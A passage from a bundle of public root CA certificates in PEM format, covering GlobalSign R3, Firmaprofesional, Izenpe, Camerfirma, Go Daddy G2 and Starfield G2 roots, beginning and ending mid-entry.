cm9uaWsgQmlsZ2kgR3V2ZW5saWdpIEEuUy4xPDA6BgNVBAMTM2UtR3V2ZW4gS29rIEVsZWt0cm9u aWsgU2VydGlmaWthIEhpem1ldCBTYWdsYXlpY2lzaTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBAMMSIJ6wXgBljU5Gu4Bc6SwGl9XzcslwuedLZYDBS75+PNdUMZTe1RK6UxYC6lhj71vY 8+0qGqpxSKPcEC1fX+tcS5yWCEIlKBHMilpiAVDV6wlTL/jDj/6z/P2douNffb7tC+Bg62nsM+3Y jfsSSYMAyYuXjDtzKjKzEve5TfL0TW3H5tYmNwjy2f1rXKPlSFxYvEK+A1qBuhw1DADT9SN+cTAI JjjcJRFHLfO6IxClv7wC90Nex/6wN1CZew+TzuZDLMN+DfIcQ2Zgy2ExR4ejT669VmxMvLz4Bcpk 9Ok0oSy1c+HCPujIyTQlCFzz7abHlJ+tiEMl1+E5YP6sOVkCAwEAAaNCMEAwDgYDVR0PAQH/BAQD AgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFJ/uRLOU1fqRTy7ZVZoEVtstxNulMA0GCSqG SIb3DQEBBQUAA4IBAQB/X7lTW2M9dTLn+sR0GstG30ZpHFLPqk/CaOv/gKlR6D1id4k9CnU58W5d F4dvaAXBlGzZXd/aslnLpRCKysw5zZ/rTt5S/wzw9JKp8mxTq5vSR6AfdPebmvEvFZ96ZDAYBzwq D2fK/A+JYZ1lpTzlvBNbCNvj/+27BrtqBrF6T2XGgv0enIu1De5Iu7i9qgi0+6N8y5/NkHZchpZ4 Vwpm+Vganf2XKWDeEaaQHBkc7gGWIjQ0LpH5t8Qn0Xvmv/uARFoW5evg1Ao4vOSR49XrXMGs3xtq fJ7lddK2l4fbzIcrQzqECK+rPNv3PGYxhrCdU3nt+CPeQuMtgvEP5fqX -----END CERTIFICATE----- GlobalSign Root CA - R3 ======================= -----BEGIN CERTIFICATE----- MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ 0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3 rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2 xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7 lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8 EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18 YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r kpeDMdmztcpHWD9f -----END CERTIFICATE----- Autoridad de Certificacion Firmaprofesional CIF A62634068 ========================================================= -----BEGIN CERTIFICATE----- MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UEBhMCRVMxQjBA BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2 MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEyMzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIw QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY 7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1Ud EwEB/wQIMAYBAf8CAQEwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNH DhpkLzCBpgYDVR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBvACAAZABlACAA bABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBlAGwAbwBuAGEAIAAwADgAMAAx ADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx 51tkljYyGOylMnfX40S2wBEqgLk9am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qk R71kMrv2JYSiJ0L1ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaP T481PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS3a/DTg4f Jl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5kSeTy36LssUzAKh3ntLFl osS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF3dvd6qJ2gHN99ZwExEWN57kci57q13XR crHedUTnQn3iV2t93Jm8PYMo6oCTjcVMZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoR saS8I8nkvof/uZS2+F0gStRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTD KCOM/iczQ0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQBjLMi 6Et8Vcad+qMUu2WFbm5PEn4KPJ2V -----END CERTIFICATE----- Izenpe.com ========== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Chambers of Commerce Root - 2008 ================================ -----BEGIN CERTIFICATE----- MIIHTzCCBTegAwIBAgIJAKPaQn6ksa7aMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xKTAnBgNVBAMTIENoYW1iZXJzIG9mIENvbW1lcmNlIFJvb3QgLSAyMDA4MB4XDTA4MDgwMTEy Mjk1MFoXDTM4MDczMTEyMjk1MFowga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNl ZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQF EwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJl cnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC AQCvAMtwNyuAWko6bHiUfaN/Gh/2NdW928sNRHI+JrKQUrpjOyhYb6WzbZSm891kDFX29ufyIiKA XuFixrYp4YFs8r/lfTJqVKAyGVn+H4vXPWCGhSRv4xGzdz4gljUha7MI2XAuZPeEklPWDrCQiorj h40G072QDuKZoRuGDtqaCrsLYVAGUvGef3bsyw/QHg3PmTA9HMRFEFis1tPo1+XqxQEHd9ZR5gN/ ikilTWh1uem8nk4ZcfUyS5xtYBkL+8ydddy/Js2Pk3g5eXNeJQ7KXOt3EgfLZEFHcpOrUMPrCXZk NNI5t3YRCQ12RcSprj1qr7V9ZS+UWBDsXHyvfuK2GNnQm05aSd+pZgvMPMZ4fKecHePOjlO+Bd5g D2vlGts/4+EhySnB8esHnFIbAURRPHsl18TlUlRdJQfKFiC4reRB7noI/plvg6aRArBsNlVq5331 lubKgdaX8ZSD6e2wsWsSaR6s+12pxZjptFtYer49okQ6Y1nUCyXeG0+95QGezdIp1Z8XGQpvvwyQ 0wlf2eOKNcx5Wk0ZN5K3xMGtr/R5JJqyAQuxr1yW84Ay+1w9mPGgP0revq+ULtlVmhduYJ1jbLhj ya6BXBg14JC7vjxPNyK5fuvPnnchpj04gftI2jE9K+OJ9dC1vX7gUMQSibMjmhAxhduub+84Mxh2 EQIDAQABo4IBbDCCAWgwEgYDVR0TAQH/BAgwBgEB/wIBDDAdBgNVHQ4EFgQU+SSsD7K1+HnA+mCI G8TZTQKeFxkwgeMGA1UdIwSB2zCB2IAU+SSsD7K1+HnA+mCIG8TZTQKeFxmhgbSkgbEwga4xCzAJ BgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNlZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNh bWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENh bWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDiC CQCj2kJ+pLGu2jAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUH AgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAJASryI1 wqM58C7e6bXpeHxIvj99RZJe6dqxGfwWPJ+0W2aeaufDuV2I6A+tzyMP3iU6XsxPpcG1Lawk0lgH 3qLPaYRgM+gQDROpI9CF5Y57pp49chNyM/WqfcZjHwj0/gF/JM8rLFQJ3uIrbZLGOU8W6jx+ekbU RWpGqOt1glanq6B8aBMz9p0w8G8nOSQjKpD9kCk18pPfNKXG9/jvjA9iSnyu0/VU+I22mlaHFoI6 M6taIgj3grrqLuBHmrS1RaMFO9ncLkVAO+rcf+g769HsJtg1pDDFOqxXnrN2pSB7+R5KBWIBpih1 YJeSDW4+TTdDDZIVnBgizVGZoCkaPF+KMjNbMMeJL0eYD6MDxvbxrN8y8NmBGuScvfaAFPDRLLmF 9dijscilIeUcE5fuDr3fKanvNFNb0+RqE4QGtjICxFKuItLcsiFCGtpA8CnJ7AoMXOLQusxI0zcK zBIKinmwPQN/aUv0NCB9szTqjktk9T79syNnFQ0EuPAtwQlRPLJsFfClI9eDdOTlLsn+mCdCxqvG nrDQWzilm1DefhiYtUU79nm06PcaewaD+9CL2rvHvRirCG88gGtAPxkZumWK5r7VXNM21+9AUiRg OGcEMeyP84LG3rlV8zsxkVrctQgVrXYlCg17LofiDKYGvCYQbTed7N14jHyAxfDZd0jQ -----END CERTIFICATE----- Global Chambersign Root - 2008 ============================== -----BEGIN CERTIFICATE----- MIIHSTCCBTGgAwIBAgIJAMnN0+nVfSPOMA0GCSqGSIb3DQEBBQUAMIGsMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xJzAlBgNVBAMTHkdsb2JhbCBDaGFtYmVyc2lnbiBSb290IC0gMjAwODAeFw0wODA4MDExMjMx NDBaFw0zODA3MzExMjMxNDBaMIGsMQswCQYDVQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUg Y3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJ QTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAlBgNVBAMTHkdsb2JhbCBD aGFtYmVyc2lnbiBSb290IC0gMjAwODCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDf VtPkOpt2RbQT2//BthmLN0EYlVJH6xedKYiONWwGMi5HYvNJBL99RDaxccy9Wglz1dmFRP+RVyXf XjaOcNFccUMd2drvXNL7G706tcuto8xEpw2uIRU/uXpbknXYpBI4iRmKt4DS4jJvVpyR1ogQC7N0 ZJJ0YPP2zxhPYLIj0Mc7zmFLmY/CDNBAspjcDahOo7kKrmCgrUVSY7pmvWjg+b4aqIG7HkF4ddPB /gBVsIdU6CeQNR1MM62X/JcumIS/LMmjv9GYERTtY/jKmIhYF5ntRQOXfjyGHoiMvvKRhI9lNNgA TH23MRdaKXoKGCQwoze1eqkBfSbW+Q6OWfH9GzO1KTsXO0G2Id3UwD2ln58fQ1DJu7xsepeY7s2M H/ucUa6LcL0nn3HAa6x9kGbo1106DbDVwo3VyJ2dwW3Q0L9R5OP4wzg2rtandeavhENdk5IMagfe Ox2YItaswTXbo6Al/3K1dh3ebeksZixShNBFks4c5eUzHdwHU1SjqoI7mjcv3N2gZOnm3b2u/GSF HTynyQbehP9r6GsaPMWis0L7iwk+XwhSx2LE1AVxv8Rk5Pihg+g+EpuoHtQ2TS9x9o0o9oOpE9Jh wZG7SMA0j0GMS0zbaRL/UJScIINZc+18ofLx/d33SdNDWKBWY8o9PeU1VlnpDsogzCtLkykPAgMB AAGjggFqMIIBZjASBgNVHRMBAf8ECDAGAQH/AgEMMB0GA1UdDgQWBBS5CcqcHtvTbDprru1U8VuT BjUuXjCB4QYDVR0jBIHZMIHWgBS5CcqcHtvTbDprru1U8VuTBjUuXqGBsqSBrzCBrDELMAkGA1UE BhMCRVUxQzBBBgNVBAcTOk1hZHJpZCAoc2VlIGN1cnJlbnQgYWRkcmVzcyBhdCB3d3cuY2FtZXJm aXJtYS5jb20vYWRkcmVzcykxEjAQBgNVBAUTCUE4Mjc0MzI4NzEbMBkGA1UEChMSQUMgQ2FtZXJm aXJtYSBTLkEuMScwJQYDVQQDEx5HbG9iYWwgQ2hhbWJlcnNpZ24gUm9vdCAtIDIwMDiCCQDJzdPp 1X0jzjAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0 dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAICIf3DekijZBZRG /5BXqfEv3xoNa/p8DhxJJHkn2EaqbylZUohwEurdPfWbU1Rv4WCiqAm57OtZfMY18dwY6fFn5a+6 ReAJ3spED8IXDneRRXozX1+WLGiLwUePmJs9wOzL9dWCkoQ10b42OFZyMVtHLaoXpGNR6woBrX/s dZ7LoR/xfxKxueRkf2fWIyr0uDldmOghp+G9PUIadJpwr2hsUF1Jz//7Dl3mLEfXgTpZALVza2Mg 9jFFCDkO9HB+QHBaP9BrQql0PSgvAm11cpUJjUhjxsYjV5KTXjXBjfkK9yydYhz2rXzdpjEetrHH foUm+qRqtdpjMNHvkzeyZi99Bffnt0uYlDXA2TopwZ2yUDMdSqlapskD7+3056huirRXhOukP9Du qqqHW2Pok+JrqNS4cnhrG+055F3Lm6qH1U9OAP7Zap88MQ8oAgF9mOinsKJknnn4SPIVqczmyETr P3iZ8ntxPjzxmKfFGBI/5rsoM0LpRQp8bfKGeS/Fghl9CYl8slR2iK7ewfPM4W7bMdaTrpmg7yVq c5iJWzouE4gev8CSlDQb4ye3ix5vQv/n6TebUB0tovkC7stYWDpxvGjjqsGvHCgfotwjZT+B6q6Z 09gwzxMNTxXJhLynSC34MCN32EZLeW32jO06f2ARePTpm67VVMB0gNELQp/B -----END CERTIFICATE----- Go Daddy Root Certificate Authority - G2 ======================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5 MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq 9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD +qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9 BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r 5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1 -----END CERTIFICATE----- Starfield Root Certificate Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0 eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx 4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- Starfield Services Root Certificate Authority - G2 ================================================== -----BEGIN CERTIFICATE----- MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2 h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6 -----END CERTIFICATE----- AffirmTrust Commercial ====================== -----BEGIN CERTIFICATE----- 